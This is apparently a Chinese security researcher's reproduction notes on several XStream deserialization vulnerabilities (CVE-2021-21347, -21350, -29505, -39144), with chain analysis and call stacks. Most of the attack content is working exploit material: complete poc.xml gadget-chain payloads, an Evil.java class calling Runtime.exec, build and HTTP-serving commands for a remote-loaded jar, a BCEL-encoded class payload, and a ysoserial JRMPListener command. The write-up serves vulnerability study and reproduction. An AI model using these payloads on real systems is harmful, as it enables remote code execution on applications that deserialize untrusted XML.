 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 
 | <java.util.PriorityQueue serialization='custom'><unserializable-parents/>
 <java.util.PriorityQueue>
 <default>
 <size>2</size>
 <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
 <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
 <packet>
 <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
 <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
 <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
 <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
 <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
 <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
 <uriProperties/>
 <attributeProperties/>
 <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
 <getter>
 <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
 <name>verify</name>
 <parameter-types/>
 </getter>
 </inheritedAttWildcard>
 </bi>
 <tagName/>
 <context>
 <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
 <outer-class reference='../..'/>
 </marshallerPool>
 <nameList>
 <nsUriCannotBeDefaulted>
 <boolean>true</boolean>
 </nsUriCannotBeDefaulted>
 <namespaceURIs>
 <string>1</string>
 </namespaceURIs>
 <localNames>
 <string>UTF-8</string>
 </localNames>
 </nameList>
 </context>
 </bridge>
 </bridge>
 <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
 <activationCmd>calc</activationCmd>
 </jaxbObject>
 </dataSource>
 </message>
 <satellites/>
 <invocationProperties/>
 </packet>
 </indexMap>
 </comparator>
 </default>
 <int>3</int>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 </java.util.PriorityQueue>
 </java.util.PriorityQueue>
 
 | 
 
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | verify:170, ServerTableEntry (com.sun.corba.se.impl.activation)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
 serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
 childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
 write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
 marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
 marshal:130, Bridge (com.sun.xml.internal.bind.api)
 marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
 writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
 asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
 getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
 getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
 getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
 getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
 get:111, ResponseContext (com.sun.xml.internal.ws.client)
 compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
 compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
 siftDownUsingComparator:721, PriorityQueue (java.util)
 siftDown:687, PriorityQueue (java.util)
 heapify:736, PriorityQueue (java.util)
 readObject:795, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1404, XStream (com.thoughtworks.xstream)
 unmarshal:1383, XStream (com.thoughtworks.xstream)
 fromXML:1277, XStream (com.thoughtworks.xstream)
 main:19, Vul (POC.priorityQueue)
 
 | 
CVE-2021-21347
影响范围
XStream <= 1.4.15
特别注意:JDK >=  8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class> 报错。
| 1
 | Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException
 | 
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和上面是同一个黑名单。
漏洞分析
漏洞本质:XStream 在 xml 对象转 java 对象会触发标签里类的readObject, 于是 source 设置为java.util.PriorityQueue#readObject没有变,sink 是 JavacProcessingEnvironment$NameProcessIterator#hasNext,可以触发 URLClassLoader.loadClass.newInstance动态类加载。

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 
 | hasNext:408, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
 nextStream:109, SequenceInputStream (java.io)
 read:211, SequenceInputStream (java.io)
 readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
 get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 compare:153, ObservableList$1 (javafx.collections)
 siftDownUsingComparator:722, PriorityQueue (java.util)
 siftDown:688, PriorityQueue (java.util)
 heapify:737, PriorityQueue (java.util)
 readObject:797, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1404, XStream (com.thoughtworks.xstream)
 unmarshal:1383, XStream (com.thoughtworks.xstream)
 fromXML:1277, XStream (com.thoughtworks.xstream)
 main:20, Vul (POC.priorityQueue)
 
 | 
这个利用过程的坑比较多,这里写详细一些。
首先如果出现下面这个错误,说明你需要把 jdk1.8.0_231/lib/tools.jar 添加到依赖里,因为少了对应的类

其次是构造一个 Evil.jar ,首先是 Evil.java
title:"Evil.java"| 12
 3
 4
 5
 6
 7
 8
 9
 
 | public class Evil {static{
 try{
 Runtime.getRuntime().exec("calc");
 }catch (Exception e){
 e.printStackTrace();
 }
 }
 }
 
 | 
 
然后使用下面的命令打包,并起好服务器
| 12
 3
 
 | javac .\Evil.javajar cvf Evil.jar Evil.class
 python -m http.server 7777
 
 | 
然后使用下面的 poc.xml 就没问题了
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 
 | <java.util.PriorityQueue serialization='custom'><unserializable-parents/>
 <java.util.PriorityQueue>
 <default>
 <size>2</size>
 <comparator class='javafx.collections.ObservableList$1'/>
 </default>
 <int>3</int>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <dataHandler>
 <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
 <contentType>text/plain</contentType>
 <is class='java.io.SequenceInputStream'>
 <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
 <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
 <names class='java.util.AbstractList$Itr'>
 <cursor>0</cursor>
 <lastRet>-1</lastRet>
 <expectedModCount>0</expectedModCount>
 <outer-class class='java.util.Arrays$ArrayList'>
 <a class='string-array'>
 <string>Evil</string>
 </a>
 </outer-class>
 </names>
 <processorCL class='java.net.URLClassLoader'>
 <ucp class='sun.misc.URLClassPath'>
 <urls serialization='custom'>
 <unserializable-parents/>
 <vector>
 <default>
 <capacityIncrement>0</capacityIncrement>
 <elementCount>1</elementCount>
 <elementData>
 <url>http://127.0.0.1:7777/Evil.jar</url>
 </elementData>
 </default>
 </vector>
 </urls>
 <path>
 <url>http://127.0.0.1:7777/Evil.jar</url>
 </path>
 <loaders/>
 <lmap/>
 </ucp>
 <package2certs class='concurrent-hash-map'/>
 <classes/>
 <defaultDomain>
 <classloader class='java.net.URLClassLoader' reference='../..'/>
 <principals/>
 <hasAllPerm>false</hasAllPerm>
 <staticPermissions>false</staticPermissions>
 <key>
 <outer-class reference='../..'/>
 </key>
 </defaultDomain>
 <initialized>true</initialized>
 <pdcache/>
 </processorCL>
 </iterator>
 <type>KEYS</type>
 </e>
 <in class='java.io.ByteArrayInputStream'>
 <buf></buf>
 <pos>-2147483648</pos>
 <mark>0</mark>
 <count>0</count>
 </in>
 </is>
 <consumed>false</consumed>
 </dataSource>
 <transferFlavors/>
 </dataHandler>
 <dataLen>0</dataLen>
 </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
 </java.util.PriorityQueue>
 </java.util.PriorityQueue>
 
 | 
 

CVE-2021-21350
影响范围
XStream <= 1.4.15
特别注意:JDK >=  8u231 可用,其余低版本都会遇到下面这个报错,即便修复了 <outer-class> 报错。
| 1
 | Caused by: com.sun.tools.javac.processing.AnnotationProcessingError: java.lang.NullPointerException
 | 
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和上面是同一个黑名单。
漏洞分析
漏洞本质: source 是java.util.PriorityQueue#readObject,sink  还是JavacProcessingEnvironment$NameProcessIterator#hasNext,与上一条链的区别是不使用URLClassLoader类,改成使用 bcel 链的 com.sun.org.apache.bcel.internal.util.ClassLoader,从而可以实现不出网利用。
title:"Class文件转BCEL字节码"| 12
 3
 4
 
 | public static String file2bcelcode(String classFilePath) throws Exception {byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
 return "$$BCEL$$"+Utility.encode(bytecode, true);
 }
 
 | 
 
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 
 | <java.util.PriorityQueue serialization='custom'><unserializable-parents/>
 <java.util.PriorityQueue>
 <default>
 <size>2</size>
 <comparator class='javafx.collections.ObservableList$1'/>
 </default>
 <int>3</int>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <dataHandler>
 <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
 <contentType>text/plain</contentType>
 <is class='java.io.SequenceInputStream'>
 <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
 <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
 <names class='java.util.AbstractList$Itr'>
 <cursor>0</cursor>
 <lastRet>-1</lastRet>
 <expectedModCount>0</expectedModCount>
 <outer-class class='java.util.Arrays$ArrayList'>
 <a class='string-array'>
 <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$L$b3$ac$8b$bc$E$df$P$w$81B$g$3b$88$8d$c1F$U$pD$eba$9c$90$c5e$97$y$D$e1$8f$aci$d0X$f8$B$7e$94$f1$ee$c6$A$89S$dc$c7$b9$e7$9c$99$3b$df$3f$9f_$A$$Q$b6$60$oo$a1$80$j$T$c50$978v$z$q$b0$c7$b1$cfq$c0$90l$3a$9e$a3$af$Y$e2$95$ea$T$83q$ed$bf$u$86L$db$f1$d4$fdt$d4WAO$f4$5dB$cc$a6t$ff$98$e9$ae$W$f2$f5N$8c$a3$R$Z2X$5d$7f$gHu$e3$84$d4Tk$e6$b8$XC1$T6R$b08$Om$i$e1$98$cc$a5p$a5$8d$T$9c2$U$c2y$dd$V$de$a0$de$9aK5$d6$8e$ef$d98$83E$b4P$cf$90$5d3$3a$fd$a1$92$9a$n$b7$86$k$a7$9evFt$9b5Pz$d5$U$x$d5$f6$3fN$83$y$d5$5cI$86$f3$ca$c6$b4$ab$D$c7$h46$F$P$81$_$d5dB$82$cc$98$86$3aZ$b4$X$I$a9P$G$a7$bf$MO$M$y$5c$8b$e2$Wu$c7$94$Z$e5D$ed$jlA$F$83M1$Z$81$f4mH$af$a8$9dH$K$e4$3f$Q$cb$c7$970$9e$df$60$de$d6$96H$$$o$3cE$ca$EqB$7d$89$w$c0$m$8cGh$9a$is$e4$b6M$uG$ac$cd$911H$94$8d$de$93$fb$F$3c$qq$f9$f1$B$A$A</string>
 </a>
 </outer-class>
 </names>
 <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
 <parent class='sun.misc.Launcher$ExtClassLoader'>
 </parent>
 <package2certs class='hashtable'/>
 <classes defined-in='java.lang.ClassLoader'/>
 <defaultDomain>
 <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
 <principals/>
 <hasAllPerm>false</hasAllPerm>
 <staticPermissions>false</staticPermissions>
 <key>
 <outer-class reference='../..'/>
 </key>
 </defaultDomain>
 <packages/>
 <nativeLibraries/>
 <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
 <defaultAssertionStatus>false</defaultAssertionStatus>
 <classes/>
 <ignored__packages>
 <string>java.</string>
 <string>javax.</string>
 <string>sun.</string>
 </ignored__packages>
 <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
 <__path>
 <paths/>
 <class__path>.</class__path>
 </__path>
 <__loadedClasses/>
 </repository>
 <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
 </processorCL>
 </iterator>
 <type>KEYS</type>
 </e>
 <in class='java.io.ByteArrayInputStream'>
 <buf></buf>
 <pos>0</pos>
 <mark>0</mark>
 <count>0</count>
 </in>
 </is>
 <consumed>false</consumed>
 </dataSource>
 <transferFlavors/>
 </dataHandler>
 <dataLen>0</dataLen>
 </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
 </java.util.PriorityQueue>
 </java.util.PriorityQueue>
 
 | 
 
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | defineClass:635, ClassLoader (java.lang)loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
 loadClass:351, ClassLoader (java.lang)
 hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
 hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
 nextStream:109, SequenceInputStream (java.io)
 read:211, SequenceInputStream (java.io)
 readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
 get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 compare:153, ObservableList$1 (javafx.collections)
 siftDownUsingComparator:722, PriorityQueue (java.util)
 siftDown:688, PriorityQueue (java.util)
 heapify:737, PriorityQueue (java.util)
 readObject:797, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1404, XStream (com.thoughtworks.xstream)
 unmarshal:1383, XStream (com.thoughtworks.xstream)
 fromXML:1277, XStream (com.thoughtworks.xstream)
 main:24, Vul (POC.priorityQueue)
 
 | 
CVE-2021-29505
Jasper 的叨叨念:这里官网使用的是 priorityQueue 作为入口,但是 baizhu 师傅在 tabby 分析利用链的时候使用的是 sorted-map,所以如果看的是他的文章,可能会出现很迷惑的地方,特此说明。
影响范围
XStream <= 1.4.16
jdk < 8u231,没有深究是 CC6 还是 XStream 的问题,总之 8u231 是复现失败, 8u221 以及之前可以复现成功。
版本说明
无
漏洞分析
漏洞本质:已知 XStream 可以实现以 PriorityQueue 为入口的反序列化,于是让它和 yso JRMPClient 结合起来。ysoserial 的 JRMP 有两种攻击方式,其中一种是攻击者构建恶意 JRMPServer,并绑定一个 EvildObject;然后利用被攻击者存在的反序列化漏洞,去连接攻击者的 JRMPServer,并反序列化 EvildObject。显然,反序列化 EvildObject 需要被攻击方拥有 EvildObject 所需的对应依赖。(整个过程类似 RMI 的利用方式)
关于 yso JRMP 相关利用原理可以看参考链接。
首先,搭一个 JRMPListener ,上面绑定好要传给 Client 的 EvilObject。这里以 CC6 为例,被攻击方需要配置 CC依赖。
| 1
 | java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"
 | 
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 
 | <java.util.PriorityQueue serialization='custom'><unserializable-parents/>
 <java.util.PriorityQueue>
 <default>
 <size>2</size>
 </default>
 <int>3</int>
 <javax.naming.ldap.Rdn_-RdnEntry>
 <type>12345</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XString'>
 <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 <javax.naming.ldap.Rdn_-RdnEntry>
 <type>12345</type>
 <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
 <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
 <parsedMessage>true</parsedMessage>
 <soapVersion>SOAP_11</soapVersion>
 <bodyParts/>
 <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
 <attachmentsInitialized>false</attachmentsInitialized>
 <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
 <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
 <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
 <names>
 <string>aa</string>
 <string>aa</string>
 </names>
 <ctx>
 <environment/>
 <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
 <java.rmi.server.RemoteObject>
 <string>UnicastRef</string>
 <string>127.0.0.1</string>
 <int>9999</int>
 <long>0</long>
 <int>0</int>
 <long>0</long>
 <short>0</short>
 <boolean>false</boolean>
 </java.rmi.server.RemoteObject>
 </registry>
 <host>127.0.0.1</host>
 <port>9999</port>
 </ctx>
 </candidates>
 </aliases>
 </nullIter>
 </sm>
 </message>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 </java.util.PriorityQueue>
 </java.util.PriorityQueue>
 
 | 
 

下面的 sun.rmi.transport.LiveRef#read 是进行 RMI 连接的逻辑。

函数调用栈,这里只给到建立 RMI 链接,后面实际上就是恶意 RMI Server  攻击 RMI Client 的逻辑,不细说。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 
 | read:291, LiveRef (sun.rmi.transport)readExternal:493, UnicastRef (sun.rmi.server)
 readObject:455, RemoteObject (java.rmi.server)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshallField:499, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 doUnmarshal:425, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 readFromStream:325, SerializableConverter$2 (com.thoughtworks.xstream.converters.reflection)
 readObjectOverride:123, CustomObjectInputStream (com.thoughtworks.xstream.core.util)
 readObject:365, ObjectInputStream (java.io)
 readObject:791, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1429, XStream (com.thoughtworks.xstream)
 unmarshal:1409, XStream (com.thoughtworks.xstream)
 fromXML:1303, XStream (com.thoughtworks.xstream)
 main:26, Vul (POC.priorityQueue)
 
 | 
CVE-2021-39144
影响范围
XStream <= 1.4.17
版本说明
无
漏洞分析
漏洞本质:比较有意思的是 sink 点,DTraceProbe#uncheckedTrigger 有一个可控的反射调用 invoke,其他没啥说的。

函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | start:1007, ProcessBuilder (java.lang)exec:620, Runtime (java.lang)
 exec:450, Runtime (java.lang)
 exec:347, Runtime (java.lang)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
 triggerProbe:269, ProviderSkeleton (sun.tracing)
 invoke:178, ProviderSkeleton (sun.tracing)
 compareTo:-1, $Proxy0 (com.sun.proxy)
 siftDownComparable:704, PriorityQueue (java.util)
